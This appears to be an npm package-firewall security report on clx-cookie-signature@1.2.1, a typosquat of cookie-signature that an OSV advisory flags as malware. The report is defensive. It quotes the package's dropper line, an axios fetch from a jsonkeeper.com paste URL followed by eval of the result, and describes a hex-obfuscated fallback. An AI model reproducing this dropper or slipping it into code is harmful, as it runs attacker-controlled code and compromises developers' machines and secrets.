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canonical: "https://firewall.lpm.dev/npm/clx-cookie-signature"
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package: "clx-cookie-signature"
report_status: "published"
title: "clx-cookie-signature@1.2.1 npm security report"
verdict: "malicious"
version: "1.2.1"
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# clx-cookie-signature@1.2.1 npm security report

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## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-6141 identifies this version as malicious and supplies the Firewall block.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.2.1
- **Selected version is latest:** Yes
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-6141 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-6141 confirms this npm version as malicious. Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk \<tj@learnboost.com\>', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues \`require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r =\> { eval(r.data.content\_o); })\`, eval'ing whatever JSON the author currently...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 100.0%
- **Started:** 2026-06-30T15:00:00.099Z
- **Finished:** 2026-06-30T15:00:00.099Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

No additional public attack-surface or AI-review details are available.

## Affected versions and remediation

This report applies to clx-cookie-signature@1.2.1.

- Avoid installing clx-cookie-signature@1.2.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

Package impersonates the popular cookie-signature library (copying its README, author field 'TJ Holowaychuk \<tj@learnboost.com\>', and sign/unsign API), but index.js adds a top-level dropper that fires the moment the module is required. Specifically, index.js line 16 issues \`require('axios').get('https://www.jsonkeeper.com/b/MYUKZ').then(r =\> { eval(r.data.content\_o); })\`, eval'ing whatever JSON the author currently hosts at that URL. A helper \`g()\` (index.js lines 18-24) decodes hex-encoded strings to reconstruct the tokens 'axios', 'get', 'then' and a second payload URL https://www.jsonkeeper.com/b/HY6M6, providing an obfuscated fallback dropper. Because jsonkeeper.com is a mutable, author-controlled paste host, the author can change the executed code at any time without republishing the package. Any project that installs and require()s clx-cookie-signature — likely as a mistyped substitute for cookie-signature — runs arbitrary attacker code in the consuming process.

\#\# Source: ghsa-malware (b6f8bcf9ace189d38ea749fd2cf087f05e80dbb540c2c7b3bb0466e30a269008) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** clx-cookie-signature
- **Ecosystem:** npm
- **Version:** 1.2.1
- **Version published:** 2026-05-28T16:25:07.297Z
- **Package first seen:** 2026-06-30T15:00:00.099Z
- **Package last seen:** 2026-06-30T15:00:00.099Z
- **Known versions:** 1
- **Latest version:** 1.2.1
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/clx-cookie-signature>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-6141>)
- [PACKAGE](<https://www.npmjs.com/package/clx-cookie-signature/v/1.2.1>)
- [ADVISORY](<https://github.com/advisories/GHSA-vwwm-x6xj-cfmf>)